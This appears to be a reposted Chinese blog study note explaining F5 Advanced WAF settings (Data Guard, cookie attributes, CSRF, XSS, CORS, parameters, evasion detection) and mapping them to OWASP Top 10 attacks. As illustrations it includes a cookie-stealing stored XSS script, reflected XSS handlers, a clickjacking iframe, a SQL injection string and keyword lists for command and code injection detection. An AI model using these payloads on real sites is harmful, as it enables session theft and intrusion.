AWAF知识点
Data Guard
Data Guard是在HTTP响应中防止铭感数据泄露的,比如在HTTP响应中包含了信用卡信息、U.S.Social Security number等,或者是自定义的信息。
有两种防护方式
-
当Policy是Blocking的时候,如果响应中包含了敏感信息,AWAF会拦截这个响应
-
AWAF也可以对敏感信息进行加密,只有在Policy是Transparent或者是Bolcking但是Data Guard是Alarm/Learn的时候才会加密,加密的形式是*,并且需要勾选Mask Data
- 可以使用自定义的Patterns来本地化定义身份证信息或电话号
4[0-9]{3}-[0-9]{4}-[0-9]{4}- #表示以4开头的前十二位数为敏感数据,AWAF将对其进行隐藏 #[]表示0-9的数字;{}表示数的位数
Exception Patterns
该选项表示指定系统认为那些不是铭感数据
File Content Detection
指定系统是否检查文件内容的响应,如果是,哪些类型的文件内容被视为敏感数据。这可以防止服务器将您不希望返回给用户的文件内容传递给用户。
Enforcement Mode
用于指定Data Guard对那些URL进行防护
-
Ignore URLs—Data Guard会防护所有的URL,除了列表中的
-
Enforce URLs—Data Guard会防护列表中的URL,即使该URL并不在Security Policy中
Cookie
AWAF将Cookie分为两种,分别是Allowed和Enforced
-
Allowed类型的Cookie一般是Persistent Cookie、Single Sign On Cookie、或者是其他的合法的Cookie。当这类Cookie背设置为Allow,AWAF会忽略并不会触发告警;Allowed Cookie可以设置Explicit和Wildcard两种
-
Enforced类型的Cookie是在客户端侧不应该被修改的。例如Session Cookie。如果一个被分为Enforced Cookie的Cookie在客户端侧被修改了,AWAF会触发“Modified Domain Cookie”的告警。如果这条策略不是Blocking的状态,即使是Enforced Cookie,这个请求也不会被阻拦。
-
如果一个Cookie既不是Allowed的也不是Enforced的,那么这个Cookie就是一个未知的且不被期望的,那个AWAF会触发“Modified Domani Cookie”的告警。
Insert HttpOnly attribute
指定启用时,系统将 HttpOnly 属性添加到域 cookie 的响应标头中。这样做是为了仅将 cookie 公开给 HTTP 和 HTTPS 实体。这可以防止 cookie 被在网页上运行脚本的不受欢迎的第三方修改或拦截,即使它没有被修改。默认设置为禁用。
Insert SameSite attribute
指定启用时,系统将 SameSite 属性添加到域 cookie 的响应标头。 SameSite cookie 属性允许服务器指示浏览器不要将 cookie 与跨站点请求一起发送。这个断言可以缓解 CSRF 攻击。有关更多详细信息,请参阅同一站点 Cookie RFC 草案。插入 SameSite 属性的可能值为:
-
None:指定禁用插入 SameSite 属性选项
-
Strict:系统会添加值为 strict 的 SameSite 属性。 Strict 选项就是这个Cookie只能够在该站点使用,不能够随着用户的请求等行为发送到其他站点
-
Lax:系统添加值为 lax 的 SameSite 属性。 Lax 选项允许这个Cookie被发往其他站点
如果存在多个 SameSite 属性,浏览器将实现最严格的值。如果 SameSite 属性是由应用程序设置的,则仅当策略设置比请求中的所有 SameSite 属性值更严格时,系统才会在末尾添加另一个属性值对。如果最后一个属性值与策略中的相同,则不会进行插入。该系统允许执行更加严格,但不会更加宽松。
Insert Secure attribute
指定启用时,系统将 Secure 属性添加到域 cookie 的响应标头。这样做是为了确保仅通过 SSL(通过使用 HTTPS 协议)将 cookie 返回到服务器。这可以防止 cookie 被拦截,但不能保证其完整性。默认设置为禁用。
Base64 Decoding
您可以启用安全策略来检查 cookie 值是否包含 Base64 编码的字符串。如果该值确实是 Base64 编码的,则系统会解码该值并继续进行安全检查。 指定启用时安全策略检查 cookie 的 Base64 编码值,并解码该值。默认设置为禁用。
CSRF和XSS的区别
CSRF—Cross Site Request Forgery
CSRF involves a malicious website which sends a request to a web application in which an unwitting user is already authenticated, from a different website.
CSRF是指攻击者通过一个恶意网站获取合法用户的登录信息,然后攻击者使用合法用户的信息通过恶意网站向站点发起请求。攻击者能够通过被攻击者的认证信息登录目标应用。
The key concept is that forget requests are not coming from the user. Typical targets anr web applications such as social media, browser-based email clients, online banking, and devices such as routers which can be configured using a web interface
CSRF的关键点在于向网站发起请求的并不是用户本身,而是攻击者,且来自于其他站点。该类型的攻击目标通常是社交媒体、基于浏览器的邮件系统、网上银行以及可以使用网络界面配置的路由器等网络设备。
AWAF防护机制
对于CSRF防护,PUT/PATCH/DELETE的方法都被视为POST请求
CSRF防护有两种方式:
-
Verify CSRF Token:The system will insert a CSRF token to application URLs. Requests without a valid CSRF token will be blocked. JavaScript injection is performed in order to insert a CSRF token to an application URL.—会将CSRF令牌插入到应用程序的URL中,没有有效令牌的请求将被阻拦。该行为需要与JS注入进行配合。
-
Verify Origin:The system will block requests without a valid Origin header. A CSRF request has no Origin header or the Origin header value is not an allowed origin. This enforcement option is suitable for protecting an AJAX request of an application, because AJAX requests always contain an Origin header. JavaScript injection is not done if all protected URLs are configured with Verify Origin.—对于没有Origin或者Orgin头不是被允许的请求,将会被Block。该类型适用于应用程序的AJAX请求。使用该功能将不需要JS
在Learning and Blocking Setting中,CSRF的保护机制有两个:
-
CSRF attack detected—检查请求中是否触发了CSRF
-
CSRF authentication expired—AWAF会检查插入的CSRF令牌的到期时间,如果超时,也会报CSRF的攻击
XSS—Cross-Site Scripting
Cross-site scripting allows for the ability to make a user run the hacker`s script while in the context of the attacked application
用户在被攻击的用用程序的上下文中执行黑客的脚本
XSS有三种类型:
- Stored XSS
<script language="javascript"> document.write ('<img src=http://localhost/?url=' + domain.location + '&cookie' + document.cookie + '>'); </script>
- Reflected XSS
<body onload=alert('test')> <b onmouseover=alert('just an example')>Claim your prize!</b>
- DOM-based XSS
AWAF防护机制
AWAF会识别XSS的攻击模式,检查URI中的字符和参数名称,看是否是定义合规的,同时也会检查Parameter的值,例如allowed values/length/accurate usage of meta charaters
Learning Mode
Automatic
AWAF会自动接收学习程度达到100%的建议
Manual
当建议达到100%,需要管理员手动接受后才会生效
Disabled
AWAF不会创建学习建议
Learning Speed
AWAF会通过流量样本来做出建议,并推荐给管理员;越快,AWAF所使用的流量样本越少
Fast
-
适用于安全性较低的应用,且需要快速建立安全策略的
-
该应用每天的流量比较少
-
该应用的非法请求的数量很少
Medium
这是一般使用最多的,能够较好的建立安全策略建议
Slow
-
该应用对于安全要求非常严格
-
该应用程序每天有大量唯一身份认证的人登录
-
该应用暴露在可能被攻击的环境中,例如互联网
Parameter
Parameter Level
-
Global:全局,这个参数应用于整个Web应用
-
URL:这个参数与URL关联,这个URL Path可以是HTTP也可以是HTTPS
-
Flow:这个参数与流相关联,指定从一个URL到另一个URL,并且包含Method
Global
URL
Flow
Perform Staging
当勾选上之后,AWAF将将整个参数置为Staging的状态,AWAF将不会Block触发了违规的请求,即使整个Policy是Blocking的状态
注意:
一般建议在通配符的参数上使用Staging来学习构建安全策略,对于明确的参数不建议使用Staging
Allow Empty Value
是否允许这个参数有空值,当勾选上之后,AWAF将允许参数具有空值
Allow Repeated Occurrences
是否允许用户发送包含多个同名参数的请求
Sensitive Parameter
用于指定改参数是否为敏感参数,对于敏感参数在日志或用户界面是不可见的,可以在Parameter List—>Sensitive Parameters列表中查看
Parameter Value Type
Dynamic content value
指定该参数的内容是动态变化的,创建该类型的参数的时候,系统会提示为该参数定义动态参数提取属性
Dynamic parameter name
该选项只对Flow类型的参数生效。该选项指定参数的名称动态变更
Ignore Value
指定系统不对该参数进行检查
JSON Value
指定参数值为JSON
Static content value
指定该参数具有静态会预定义的值
User-Input value
指定该参数的值是用户输入的
XML value
指定该参数中的值允许包含XML
Data Type
对于User-input value的Parameter Value Type,可以定义Data Type
Alpha-Numeric
设置数据是可以由字母、数字和下划线字符组成
对应的其余选项有:
Maximum Length
-
Any—指定对于参数值的长度没有限制
-
Value—指定允许的参数值的长度
Regular Expression
指定参数值是正则表达式的形式,这个字符的长度限制为245
Base64 Decoding
指定参数值包含Base64编码,如果开启了该选项,AWAF会将编码进行解码,然后进行安全检查
base64 -d在Linux中执行,可对base64编码的内容进行解码
File Upload
勾选上之后对于参数将没有文本限制,仅限制长度检查
Disallow File Upload of Executables
选择是否允许用户在该参数中上传二进制可执行内容,勾选上后是禁止在该参数中有该动作,默认值是Disabled,即勾选该选项
Decimal
选择该参数是否仅为数字且可以包含小数
指定该参数只能是电子邮件的格式
Integer
指定该参数的数据只能是整数,不能是小数
Phone
指定该参数的数据只能是电话号码的格式
当数据类型为Alpha-Numeric的时候会有该选项,该选项是用来配置安全策略要禁止或允许那些那些字符能够出现在参数值中
Check characters on this parameter value
当勾选上之后,表示会检查参数中的字符
Overridden Security Policy Settings
表示要对哪些全局的字符参数在该Parameter下进行修改
该表中将列出要修改的那些字符,左边是针对该参数的修改,右边是全局的设置,包括字符本身、字符的十六进制值以及在全局的安全策略中对该参数的设置
State
-
Disallowed—指定该字符不允许出现在参数的值中,如果发现该字符将遵循Learnning and Blocking中的设置
-
Allow—指定该字符能够出现在参数的值中
Attack Signatures
Check attack signatures on this parameter
当勾选了该选项,表示要对哪些全局的攻击签名在该Parameter下进行修改
State
-
Enable—勾选上后,当与攻击签名匹配时,系统会拒绝对该参数的请求
-
Disabled—勾选上后,当与攻击签名匹配时,系统会允许该参数的请求
在Parameters List界面中能够直接修改部分参数
Change Level
Change Type
Enforce
勾选后将处于Staging状态的参数变为执行状态
该选项只对处于Staging状态的参数有效
Staging:
处于Staging状态的参数,即使Policy设置为Block,当对应参数触发了违规,AWAF也不会将请求阻拦,只有处于非Staging状态的,且Policy设置为Block的才会被阻拦
URL
创建新的URL时,可以选择是Explicit还是Wildcard
-
Explicit—全匹配,例如对于http://www.example.com/index.html需要写为/index.html
-
Wildcard—通配符,对于通配符的写法,可参照下表
Wildcard Character | Matches |
---|---|
* | All characters—任意字符 |
? | Any single character—任意单个字符 |
[abcde] | Exactly one of the characters listed—列出的字符之一 |
[!abcde] | Any character not listed—除了列出的字符之外的字符 |
[a-e] | Exactly one character in the range—列出的字符的范围内的r任意字符 |
[!a-e] | Any character not in the range—除了列出的字符范围之外的任意字符 |
Check Flows to this URL
选择是否检查请求该URL时是否包含合法的流,当勾选该选项后将会出现以下选项
URL is Entry Point
指定用户可以通过该URL访问应用程序
URL is Referrer
指定用户可以通过该URL去访问到其他URL,即该URL可以是Referrer中的URL,当勾选该选项后,会出现以下选项:
URL can change Domain Cookie
当客户端的Cookie被修改,AWAF将不会阻拦该请求
Clickjacking Protection
Clickjacking攻击是指黑客引诱用户去做点击的动作,致使用户跳转到恶意的或者是不被期望的页面,一般这些跳转的页面可能会存在在页面的按钮或其他地方
该攻击通常会存在在HTML页面中
<iframe width="900" height="650" frameborder="0" src="http://www.abc.com.vn/d/d1/pageX,jsp?mi=4"></iframe>
当勾选该选项后,AWAF将会在响应头中插入X-Frame-Options的标头到Cookie中
当勾选后,将会出现以下选项:
Allow Rendering in Frames
指定该URL在frame或iframe中能否被Rendered
-
Never—指定该URL不能在frame或iframe中呈现
-
Same Origin Only—如果引用的页面来自与此URL相同的协议、端口以及域名,则浏览器能够加载
-
Only Frome URL—能够从指定的域名加载Frame或iframe,当选择该选项时将需要指定域名,注意不需要指定URL;例如:http://www.mywebsite.com而不是http://www.mywebsite.com/index/html
Attack Signatures
类比Parameters
使用该选项来配置系统应该如何根据请求标头内容去识别和执行
输入URL请求中标头的名称,全匹配,不区分大小写
合法的标头的值,通配符,区分大小写
-
星号(*):表示匹配任何字符序列,例如
*xml*
-
问号(?):表示匹配任何单个字符,例如
xml_method?
-
方括号([ ]):表示匹配集合中的任意字符,例如
method[0-9]
Request Body Handing
表示要对包含特定名称和值的标头的URL如何进行解析
Apply value and content signatures
AWAF在检查的时候会获取完成的值和攻击签名,而不会提取其中的参数或者对其进行解析,该选项可适用于HTTP/XML/JSON/GWT
Tips:
为了让系统检查请求的内容类型标头是否为AMF(Action Message Format),需要将请求标头设置为*amf*
并且将Request Body Handling设置为Apply value and content signatures
Disallow
指定系统不允许请求的URL包含这个Header。只要是请求的URL包含这个Header,AWAF就会记录为非法的请求。AWAF同样会检查内容,以确定是否有攻击签名或格式错误
Apply content signatures
让AWAF在不解析内容的情况下去进行扫描,从而查看是否有攻击
GWT
指定内容为GWT,调用GWT的Profile
Form Data
AWAF将内容以URL编码或多部分格式的编码去进行解析
JSON
指定这个头的内容为JSON的格式,需要调用JSON的Profile
XML
指定内容为XML格式,需要调用XML的Profile
Do Nothing
指定系统不检查也不解析内容,根据安全策略来处理请求头
下方表格中的Order
表示检查的顺序
HTML5 Cross-Domain Request Enforcement
CORS(Cross-Origin Resource Sharing)-跨域资源共享,能够使一个网站通过JavaScript
访问另一个网站的资源。
在CORS授权时,浏览器会先向Web程序发送一个预检请求,来确定来自另一个域的JavaScript
能否访问该Web应用。只有当这个请求是被授权的时候,浏览器才允许外部域发送这个原始请求。是否是授权的则由后端返回的与CORS相关的特殊响应标头来决定
该配置项具有以下选项:
Disabled
强制AWAF不执行CORS
AWAF将强制移除所有的CORS头部
指定允许通过那些网站来访问到这条URL,允许的CORS是什么样的
Allow Credentials:
是指定来自不同域中的请求是否可以包含用户凭证
Enforce on ASM
是指将删除所有的CORS标头并将其替换为AWAF的
如果没有配置允许的来源,那么针对该URL只允许来自该应用本身的请求访问
Methods Enforcement
针对该URL,对于Method的处理
File Type
指定该安全策略下允许的文件类型
No Extension是指该策略下不允许文件类型出现在URL中,其余选项还有Explicit/Wildcard
URL Length
如果一个URL包含了这个文件类型,那么所能够接受的URL的最大长度值(以字节为单位),默认值是100
Request Length
如果一个请求中包含了这个文件类型,那么所能够接受的最大请求长度是多少(以字节为单位),默认值是5000
Query String Length
包含该文件类型的URL的查询字符串部分所能够接受的最大长度值(字节为单位),默认是1000
POST Data Length
如果一个HTTP POST包含该文件类型,那么所能够接受的Post String的最大长度值是多少(字节为单位),默认是1000
Apply Response Signatures
当响应时,AWAF将根据分配到该安全策略中的攻击签名,对包含该文件类型的响应进行检查
Content Profile
XML Profile
JSON Profile
GWT Profile
Plain Text Profile
Character Sets
Cookie违规
-
Cookie名称中有引号
-
Cookie名称或Cookie的值中有空格
-
Cookie名称中有等号—
Cookie名称和等号之间以及等号和Cookie值之间允许有空格
-
Cookie名称前有等号
-
Cookie名称中有回车
攻击类型及对应防护措施
1.Broken Authentication and Session Management
场景:
假设一个应用没有设置timeout,一个用户使用电脑登录了这个应用。使用完成后没有点击Logout而是直接关闭浏览器。攻击者在十五分钟后使用相同的浏览器打开该应用,就可以不经过认证就直接登录该应用。
F5 AWAF防护机制:
- Enforcing a unique login page—强制登录界面
- Enforcing login page timeout—设置登录界面失效时间
- Enabling application flow enforcement and dynamic parameter protection—开启Application folw enforcement和Dynamic parameter protection
- Monitoring request attack patterns—监控攻击模式
- Using its own cookies to prevent session tampering—使用Cookie来防止会话篡改
2.Parameter tampering
暴露在互联网上的一些References会遭受该攻击:
- URLS
- Parameters
- Files
- Directories
- Hidden fields
- Database keys
F5 AWAF防护机制:
- Checking for allowed characters in the parameter name and value—检查允许的参数的名称和值
- Checking for malicious patterns in user input parameters—检查用户输入的参数
- Verifying query string and data request lengths—确保请求的string和长度
3.Cookie Tampering
当攻击者获取用户的Cookie后,能够伪装成合法的用户进行登录
F5 AWAF防护机制:
AWAF会识别Server发送给客户端的Cookie,插入自己的Cookie并发送给客户端,将自己插入的Cookie和Server发送的Cookie对应起来;另外,AWAF还根据客户端的Fingerprinting分配Device ID,来识别并检查接入的客户端是否为合法的,以此来防止Session Hijacking
4.Sensitive Data Exposure
敏感数据包括:
- credit cards
- user IDs
- social security
- social identification numbers
- authentication credentials
F5 AWAF防护机制:
F5能够将用户输入的敏感信息进行加密,例如密码,信用卡号等,并且在F5的Log中以*号掩去,这个加密的动作能够在parameter层面进行也能够在全局生效
5.Forceful Browsing
是指能够通过URL强制访问一些正常业务不会暴露出来但是存在在后端服务中的路径。换句话说就是用户能够直接跳转到本不应该被允许访问的Web应用的路径上,通常这样的路径会包含敏感信息。
一个很简单的距离,就是能够跳过注册页面而直接访问后面的内容。
F5 AWAF防护机制:
强制允许文件类型和URL,并且制定parameter的值以及login pages
6.Hidden Field Manipulation
在HTML页面中的一些需要用户输入的字段,例如用户名、密码等参数,在通过页面查看源代码的方式的时候能够看到这些参数,然后攻击者能够通过这些参数进行定向的获取。
F5 AWAF防护机制:
AWAF能够对这些参数进行动态的加密。
7.Security Misconfiguration
一些错误的安全配置会导致应用遭受攻击,如果要防护,需要从以下几点进行考虑:
- Stay abreast of all new software updates and install them in a timely manner—及时安装新软件版本
- Deploy a robust web application architecture that provides good separation and security between compoments—构建健壮的Web应用架构,提供良好的分离性和安全性
- Perform audits periodically and run scans to detect future misconfigurations—进行定期扫描和检测
F5 AWAF防护机制:
AWAF能够检测收到的请求,并根据RFC进行判断
8.Using Known Vulnerable Components
利用一些已知的漏洞进行攻击。很多应用是基于开源技术及库进行开发的,例如Nginx、Java等,当这些开源技术爆出重大漏洞时,应用也将面临巨大的风险,例如Log4j漏洞。
F5 AWAF防护机制:
AWAF为每一个应用类型提供对应的防护模板,例如MS Sharepoint、Outlook Web Access等。另外AWAF还能够自动检测后端Server所使用的技术,并提供相应的防护策略及攻击签名。并且AWAF会定期进行攻击签名库的及时更新。
9.Unvalidated Redirects and Forwards
未经验证的重定向和转发,一些web应用会将用户重定向到另外的站点,如果这个跳转没有被确认或者是保护,攻击者可以通过改变跳转的页面,或者伪造一个与跳转页面一样的钓鱼网站,从而获取用户信息。
F5 AWAF防护措施:
- Enforcing accurate values of parameters and enforcing dynamic parameters
- Create a list of targeted domains to which users may be redirected
10.Denial of Service
DoS攻击主要是消耗目标系统的计算资源、带宽资源等,从而让目标系统无法提供正常服务。
Two General Categories(两个类别):
- Resource consumption targeted (attack tries to consume all available bandwidth)—资源消耗为目标,比如网络带宽
- CPU targeted (attack tries to peak the CPU of the targeted machine)—CPU为目标
F5 AWAF防护措施:
AWAF能够检测正常情况下每秒的字节数,每秒的请求数以及其他一些客户端的动作,并且可以设置基于TPS的防护(针对客户端)或者是Stress Based的防护(基于服务端)
11.Clickjacking
攻击者通过在页面的某个object中添加外部链接,诱惑用户进行点击,从而跳转到黑客希望用户跳转的页面,而非应用正常应该跳转的页面
eg:
<iframe width="900" height="650" frameborder="0" src="http://www.abc.com.vn/d/d1/pageX.jsp?mi=4"> </iframe>
F5 AWAF防护措施:
在HTTP response header中设置X-Frame-Options的字段,有三个选项:
- Never >> Instructs the boser not to render the URL in either frame or elements,blocking the clickjack attempt—让浏览器在框架或元素中不呈现URL
- Same Origin Only >> Instructs the browser to render the URL only if it is used in a frame or iframe that are embedded in a way that the top containing page uses the same base URL as the one of the protected URL. If the protocol(HTTP/HTTPS),the domain,or the port number are different, the protected URLwill not be rendered—嵌入制定的URL,包括协议、域名、端口号,如果有一个不同则不呈现
- Only from URL >> Instructs the browser to render the URL only if the origin is the same one that users specify in the address bar. For example, site owners may wish to enable rendering of a protected page within frames, but only for a specific site—指示浏览器只在源代码与用户在地址栏中指定的源代码相同时才呈现 URL。例如,站点所有者可能希望在框架内启用受保护页面的呈现,但仅限于特定站点
12.Cross Site Request Forgery
Cross Site Request Forgery involves a malicious website which sends a request to a web application in which an unwritting user is already authenticated,from a different website.The attacker can then access functionality in the target web application via the victim`s already authenticated browser.
CSRF涉及一个恶意网站,该网站从另一个网站向一个网上应用程式发出要求,而该网上应用程式中的一个删除用户已被认证。然后攻击者可以通过受害者已经认证的浏览器访问目标 web 应用程序的功能。
F5 AWAF防护措施:
AWAF can protect against CSRF attacks by appending a token, which has a fixed time to live, in the requested URL.When the resource is requested again, AWAF verifies that the token is valid and present in the URL.
AWAF 可以通过在请求的 URL 中附加一个生存时间固定的令牌来防止 CSRF 攻击。当再次请求资源时,AWAF 将验证该令牌是否有效并显示在 URL 中。
13.Cross-Site Scripting(XSS)
有三种类型:
- Stored XSS
- Reflected XSS
- Document Object Model (DOM)-based XSS
Stored XSS
eg:
<script language="javascript"> document.write('<img src=http://localhost/?url=' + domain.location + '&cookie' + document.cookie + '>'); </script>
这段代码看起来像是插入了一个正常的image,但是其实这个包含了用户的cookie的值,当其他用户访问的时候,攻击者能够获取用户的cookie并发送到制定的Server中。
Reflected XSS
eg:
<body onload=alert('test1')> <b nomouseover=alert('just an example')>Claim your prize!</b>
DOM-based XSS
DOM-based XSS executes its payload as a result of modifying the DOM environment in the victim’s browser used by the original client-side script.This results in client-side code which runs in a manner not of user’s choosing.
F5 AWAF防护措施:
通过确定URL中的参数以及值进行防护
Injection Attacks
eg:
SELECT * FROM users WHERE username = 'admin' OR 1=1 '
正常的请求:
SELECT user_ID FROM users WHERE username='admin' AND password='p@ssw0rd'
F5 AWAF防护措施:
通过检查Post中的参数和长度
Credential Stuffing
In a credential stuffing attack, criminals first purchase stolen username and passwords. They then make repeated attempts with automated tools to “stuff” the login forms of other websites with the stolen credentials to gain access to accounts held by corporate users or customers.
使用购买到的用户名密码进行撞库
F5 AWAF防护措施:
AWAF会有已经被暴露的用户名密码,然后去检查是否在这个应用中被用到。
OWASP 2017 TOP 10 and AWAF Mitigations
Vulnerability | AWAF Controls | |
---|---|---|
A1 | Injection Flaws | Attack signatures Meta character restrictions Parameter value length restrictions |
A2 | Broken Authentication and Session Management | Brute Force protection Credentials Stuffing protection Login Enforcement Session tracking HTTP cookie tampering protection Session hijacking protection |
A3 | Sensitive Data Exposure | Data Guard Attack signatures(“Predicteble Resource Location” and “Information Leakage”) |
A4 | XML External Entities(XXE) | Attack Signatures(“Other Application Attacks”-XXE) XML content profile(Disallow DTD) |
A5 | Broken Access Control | File types Allowed/disallowed URLs Login Enforcement Session tracking Attack signatures(“Directory traversal”) |
A6 | Security Misconfiguration | Attack Signatures DAST integration Allowed Methods HTML5 Cross-Domain Request Enforcement |
A7 | Cross-site Scripting(XSS) | Attack signatures(“Cross Site Scripting-XSS”) Parameter meta characters HttpOnly cookie attribute enforcement Parameter type definitions(such as integer) |
A8 | Insecure Deserialization | Attack Signatures(“Server Side Code Injection”) |
A9 | Using components with konwn vulnerabilities | Attack Signatures DAST integration |
A10 | Insufficient Logging and Monitoring | Request/response logging Attack alarm/block logging On-device logging and external logging to SIEM system Event Correlation |
Learning and Blocking中的一些选项的参数
Attack Type—Predictable Resource Location
URL/Parameter中存在:
%APPDATA% %ALLUSERSPROFILE% /bin /config/ /Copy /etc ...
Attack Type—Command Execution
URL/Parameter中存在:
/proc/self/environ alias arp ping awk batch bzip2 call cc cd / cd cd .. cfdisk chmod chown ...
Attack Type—Server Side Code Injection
URL/Header/Parameter中包含:
._class_ ._dict_ ._mro_| ._subclasses_() Math() module.constructor() new Date() process.abort() process.cwd() process.kill() require() $http_response_header $_COOKIE /bin/bash ...
Attack Type—Directory Indexing
index of / /publisher ...
Attack Type—Remote File Include
temp zlib:// SERVER DOCUMENT_ROOT mosConfig_live_site file:// filter ...
Evasion technique detected
逃逸技术检测
Directory traversals
确保像../
这样的目录遍历命令不会出现在URL中。确保攻击者不会通过将a/b/../c
这样的路径变为a/c
或将a/./b
变为a/b
之后目录遍历成功
表示让数字经过多少次编码后进行逃逸检测,例如设置为3
,则AWAF将执行两次解码,在第三次解码时会进行Learn/Alarm/Block
%u decoding
对%u进行解码(%UXXXX 其中X是十六进制数字),例如a%u002fb
解码为a/b
IIS backslashes
将转换为
/
IIS Unicode codepoints
当%UXXXX
中的XXXX
大于0x00FF
时,根据ANSI Latin 1
(windows 1252)代码页面进行映射,对%u
进行解码,例如a%u2044b
解码为a/b
Bare byte decoding
当发现高于ASCII-127
的字符,则认为违规
Apache whitespace
当发现字节0x09
/0x0b
/0x0c
,违反了RFC标准,使用制表符作为空格分隔符的,认为是违规的
Bad unescape
URL中使用了非法的编码,例如%
后面的两个字符不是十六进制字符或%u
后面的四个字节不是十六进制字符的,认为是违规的
原文链接:https://www.cnblogs.com/littlejere/p/15918786.html
原创文章,作者:优速盾-小U,如若转载,请注明出处:https://www.cdnb.net/bbs/archives/21883